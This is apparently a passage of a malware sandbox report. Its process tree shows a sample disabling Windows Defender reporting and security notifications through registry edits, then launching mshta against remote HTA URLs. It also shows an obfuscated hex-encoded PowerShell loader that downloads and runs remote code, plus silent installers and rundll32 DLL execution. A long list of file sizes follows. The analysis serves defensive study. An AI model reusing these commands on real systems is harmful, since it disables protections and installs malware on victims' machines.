C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /t REG_DWORD /d "0" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx" /s /k /f "SecHealthUI" | find /i "SecHealthUI"5⤵
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx" /s /k /f "SecHealthUI"6⤵
-
-
C:\Windows\system32\find.exefind /i "SecHealthUI"6⤵
-
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral_neutral_cw5n1h2txyewy" /f5⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\S-1-5-21-1594587808-2047097707-2163810515-1000\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral_neutral_cw5n1h2txyewy" /f5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility5⤵
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility6⤵
-
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "SettingsPageVisibility" /t REG_SZ /d "hide:windowsdefender;" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.Defender.SecurityCenter" /v "Enabled" /t REG_DWORD /d "0" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\eEOlL3cK.com"C:\Users\Admin\AppData\Local\Temp\eEOlL3cK.com"3⤵
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://ia601408.us.archive.org/23/items/fix.hta-ert/FIX.hta_ert.txt4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='https://ia601409XXXusXXXarchiveXXXorg/7/items/fixmix_fix_4348843584358435/fixmix_fix_4348843584358435XXXtxt'.Replace('XXX','.');$Shib='24=42=20=3d=27=45=54=48=20=43=4f=49=4e=74=2e=57=54=46=20=43=4f=49=4e=6c=49=4f=53=4e=54=27=2e=52=65=70=6c=61=63=65=28=27=45=54=48=20=43=4f=49=4e=27=2c=27=6e=45=27=29=2e=52=65=70=6c=61=63=65=28=27=54=46=20=43=4f=49=4e=27=2c=27=45=62=43=27=29=2e=52=65=70=6c=61=63=65=28=27=4f=53=27=2c=27=65=27=29=3b=24=43=43=20=3d=20=27=44=4f=53=20=43=4f=49=4e=20=4c=53=4f=53=43=4f=49=4e=6e=47=27=2e=52=65=70=6c=61=63=65=28=27=53=20=43=4f=49=4e=20=27=2c=27=57=6e=27=29=2e=52=65=70=6c=61=63=65=28=27=53=4f=27=2c=27=6f=61=44=27=29=2e=52=65=70=6c=61=63=65=28=27=43=4f=49=4e=27=2c=27=54=72=49=27=29=3b=24=41=20=3d=27=49=60=45=6f=73=20=43=4f=49=4e=60=57=60=42=54=43=20=43=4f=49=4e=6a=60=45=54=48=20=43=4f=49=4e=20=24=42=29=2e=24=43=43=28=24=54=52=55=4d=50=29=27=2e=52=65=70=6c=61=63=65=28=27=6f=73=20=43=4f=49=4e=27=2c=27=58=28=6e=60=65=27=29=2e=52=65=70=6c=61=63=65=28=27=42=54=43=20=43=4f=49=4e=27=2c=27=2d=4f=62=27=29=2e=52=65=70=6c=61=63=65=28=27=54=48=20=43=4f=49=4e=27=2c=27=60=63=60=54=27=29=3b=26=28=27=49=27=2b=27=45=58=27=29=28=24=41=20=2d=4a=6f=69=6e=20=27=27=29=7c=26=28=27=49=27=2b=27=45=58=27=29=3b';Invoke-Expression (-join ($Shib -split '=' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\GXbjPyT6.com"C:\Users\Admin\AppData\Local\Temp\GXbjPyT6.com"3⤵
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://kmsauto.us/1/FIX.hta4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='https://kmsautoXXXus/1/fixXXXtxt'.Replace('XXX','.');$Shib='24=42=20=3d=27=45=54=48=20=43=4f=49=4e=74=2e=57=54=46=20=43=4f=49=4e=6c=49=4f=53=4e=54=27=2e=52=65=70=6c=61=63=65=28=27=45=54=48=20=43=4f=49=4e=27=2c=27=6e=45=27=29=2e=52=65=70=6c=61=63=65=28=27=54=46=20=43=4f=49=4e=27=2c=27=45=62=43=27=29=2e=52=65=70=6c=61=63=65=28=27=4f=53=27=2c=27=65=27=29=3b=24=43=43=20=3d=20=27=44=4f=53=20=43=4f=49=4e=20=4c=53=4f=53=43=4f=49=4e=6e=47=27=2e=52=65=70=6c=61=63=65=28=27=53=20=43=4f=49=4e=20=27=2c=27=57=6e=27=29=2e=52=65=70=6c=61=63=65=28=27=53=4f=27=2c=27=6f=61=44=27=29=2e=52=65=70=6c=61=63=65=28=27=43=4f=49=4e=27=2c=27=54=72=49=27=29=3b=24=41=20=3d=27=49=60=45=6f=73=20=43=4f=49=4e=60=57=60=42=54=43=20=43=4f=49=4e=6a=60=45=54=48=20=43=4f=49=4e=20=24=42=29=2e=24=43=43=28=24=54=52=55=4d=50=29=27=2e=52=65=70=6c=61=63=65=28=27=6f=73=20=43=4f=49=4e=27=2c=27=58=28=6e=60=65=27=29=2e=52=65=70=6c=61=63=65=28=27=42=54=43=20=43=4f=49=4e=27=2c=27=2d=4f=62=27=29=2e=52=65=70=6c=61=63=65=28=27=54=48=20=43=4f=49=4e=27=2c=27=60=63=60=54=27=29=3b=26=28=27=49=27=2b=27=45=58=27=29=28=24=41=20=2d=4a=6f=69=6e=20=27=27=29=7c=26=28=27=49=27=2b=27=45=58=27=29=3b';Invoke-Expression (-join ($Shib -split '=' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))5⤵
-
-
-
-
-
C:\Users\Admin\Documents\AB12AXTJK8GReRJuQRD8ZmEv.exe"C:\Users\Admin\Documents\AB12AXTJK8GReRJuQRD8ZmEv.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\is-5BF8F.tmp\AB12AXTJK8GReRJuQRD8ZmEv.tmp"C:\Users\Admin\AppData\Local\Temp\is-5BF8F.tmp\AB12AXTJK8GReRJuQRD8ZmEv.tmp" /SL5="$20284,138429,56832,C:\Users\Admin\Documents\AB12AXTJK8GReRJuQRD8ZmEv.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\is-UTOVQ.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-UTOVQ.tmp\Setup.exe" /Verysilent2⤵
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
188KB
-
Filesize
29.5MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
1.3MB
-
Filesize
4KB
-
Filesize
1.6MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
88KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
696KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
6.0MB
-
Filesize
4KB
-
Filesize
472KB
-
Filesize
568KB
-
Filesize
1.6MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
1.2MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
6.0MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
12KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
1.6MB
-
Filesize
1.3MB
-
Filesize
1.6MB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
88KB
-
Filesize
6.0MB
-
Filesize
29.5MB
-
Filesize
296KB
-
Filesize
6.0MB
-
Filesize
1.3MB
-
Filesize
1.3MB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
80KB
-
Filesize
136KB
-
Filesize
6.0MB
-
Filesize
296KB
-
Filesize
6.0MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
240KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
6.0MB
-
Filesize
136KB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
6.0MB